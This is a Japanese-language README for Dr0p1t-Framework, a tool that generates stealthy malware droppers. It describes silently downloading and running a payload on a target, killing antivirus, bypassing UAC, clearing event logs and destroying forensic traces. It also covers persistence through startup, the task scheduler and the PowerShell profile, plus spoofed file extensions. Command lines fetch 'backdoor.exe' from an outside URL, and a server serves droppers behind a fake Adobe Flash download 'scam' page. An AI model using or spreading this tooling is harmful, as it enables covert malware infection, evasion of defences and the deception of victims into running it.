現在はメンテナンスされていません（次のバージョンをお待ちください）

Dr0p1t-Framework

トロイの木馬のドロッパーについて聞いたことはありますか？簡単に言うと、ドロッパーは他のマルウェアをダウンロードするタイプのマルウェアです。Dr0p1tは、ほとんどのAVを回避し、多くのトリックを備えたステルスなドロッパーを作成する機会を提供します（信じてください:D）;)

機能

+ 生成される実行ファイルの特性：

同じ方法で生成された他のドロッパーと比較して、実行ファイルのサイズが小さくなります。
ターゲットシステム上で実行ファイルをダウンロードし、サイレントに実行します。
自己破壊機能：ドロッパーは処理完了後に自身を強制終了し、削除します。
ディスクフォレンジックを回避：ドロッパーが作成したすべてのファイルと、ドロッパー自身も削除前に内容を消去します。
処理完了後にイベントログをクリアします。

+ フレームワークの特性：

Windows、Linux、そしてOSXに対応（@sm4sh3rに感謝）。
Dr0p1t-Server機能（ベータ版）：ブラウザから作業できるようになりました。Dr0p1t-Serverの使い方を参照。
Dr0p1t-Serverにはスキャムオプション（ベータ版）があります。Dr0p1t-Serverの使い方を参照。

+ モジュール：

マルウェアを実行する前にアンチウイルスを検出して強制終了します。
UACを無効にする機能。
マルウェアを管理者として実行する機能。
ファイルのアイコンと拡張子を任意のものに偽装する完全なスプーフィング機能。
ZIPファイル対応：実行ファイルをアップロード前にZIPファイルに圧縮できます。
実行ファイルを実行する前に選択したカスタム（バッチ|PowerShell|VBS）ファイルを実行します。
PowerShellスクリプトを実行する際に、実行ポリシーをバイパスできます。
UPXを使用して、作成後にドロッパーを圧縮します。

+ 永続化モジュール：

ダウンロード後に実行ファイルをスタートアップに追加します。
ダウンロード後に実行ファイルをタスクスケジューラに追加します（UACは関係ありません）。
ファイルをPowerShellユーザープロファイルに追加します。これにより、powershell.exeが実行されるたびに、ファイルが存在しなければダウンロードされて実行されます。

スクリーンショット

Windows上

Linux上（Kali Linux）

OSX上

まだ完全にはテストされていません！コントリビューターとテスターが必要です😄

ヘルプメニュー

Usage: Dr0p1t.py Malware_Url [Options]

options:
-h, --help      show this help message and exit
-s              Add your malware to startup (Persistence)
-t              Add your malware to task scheduler (Persistence)
-a              Add your link to powershell user profile (Persistence)
-k              Kill antivirus process before running your malware.
-b              Run this batch script before running your malware. Check scripts folder
-p              Run this powershell script before running your malware. Check scripts folder
-v              Run this vbs script before running your malware. Check scripts folder
--runas         Bypass UAC and run your malware as admin
--spoof         Spoof the final file to an extension you choose.
--zip           Tell Dr0p1t that the malware in the link is compressed as zip
--upx           Use UPX to compress the final file.
--nouac         Try to disable UAC on victim device
-i              Use icon to the final file. Check icons folder.
--noclearevent  Tell the framework to not clear the event logs on target machine after finish.
--nocompile     Tell the framework to not compile the final file.
--only32        Download your malware for 32 bit devices only
--only64        Download your malware for 64 bit devices only
-q              Stay quite ( no banner )
-u              Check for updates
-nd             Display less output information

使用例

./Dr0p1t.py Malware_Url [Options]
./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
./Dr0p1t.py https://test.com/backdoor.zip -t -k --nouac -i flash.ico --spoof pdf --zip

前提条件

Python 2 または Python 3。

Python 2 の推奨バージョンは2.7.x、Python 3 の推奨バージョンは3.5.xです。3.6はPyInstallerがまだサポートしていないため使用しないでください。

Linuxに必要な依存関係

apt
その他はinstall.shファイルからインストールされます。

注意: root権限が必要です。

Windowsに必要な依存関係

pip
windows_requirements.txt 内のモジュール

インストール

Dr0p1tのインストールと使用方法に関する公式動画のプレイリストはこちらです。

Linuxの場合

git clone https://github.com/D4Vinci/Dr0p1t-Framework.git
chmod 777 -R Dr0p1t-Framework
cd Dr0p1t-Framework
sudo chmod +x install.sh
./install.sh
python Dr0p1t.py

Windowsの場合（ZIPをダウンロードして解凍した後）

cd Dr0p1t-Framework-master
python -m pip install -r windows_requirements.txt
python Dr0p1t.py

注意: Python 2.7にはpipが含まれていないため、最初にget-pip.pyスクリプトからインストールしてください（Googleで検索）。

動作確認済みOS:

Kali Linux Rolling
Ubuntu 14.04-16.04 LTS
Windows 10/8.1/8

Dr0p1t-Serverの使い方

注意: サーバーはまだベータ版であり、追加すべき機能が多く、デザインも改善が必要です（コントリビュートしてくれるデザイナーを募集中:D）。

前提条件

安定したインターネット接続。
ポート5000が使用されておらず、ファイアウォールがそのポートからの接続をブロックしないように設定されていること。

インストールとサーバーの実行

LinuxとWindowsの両方で、上記の手順でDr0p1tをインストールした後、pipを使用してserver_requirements.txtのモジュールをインストールします：

python -m pip install -r server_requirements.txt

次に、サーバースクリプトを実行します：

python Dr0p1t_Server.py

サーバースクリプトを実行すると、flaskを使用してポート5000へのすべての接続をリッスンし始めます。

サーバーを自分のデバイスから使用するには、ブラウザで127.0.0.1:5000 または [自分のIP]:5000 を開きます。

LAN内の他のデバイスから開くには、[自分のローカルIP]:5000 を開きます。WANの他のデバイスから開くには、[自分のグローバルIP]:5000 を開きます。ただし、ルーターでポート5000の接続を自分に転送するように設定してください。

サーバーページを開くと、必要なデータを尋ねるシンプルなデザインのWebサイトが表示されます。サーバーのスクリーンショットを参照。

次にデータを送信すると、いくつかのプロセスで検証された後、exeファイルが生成され、スキャムリンクが記載されたページにリダイレクトされます。

リンクを入力すると、デフォルトのAdobe Flashダウンロードページであるドロッパーをダウンロードするためのスキャムが表示されます。スキャムを自分のものに置き換えるには、ファイル「Scam.html」の内容を自分のものに置き換えてください。ただし、変数はそのまま残してください（削除しないでください）。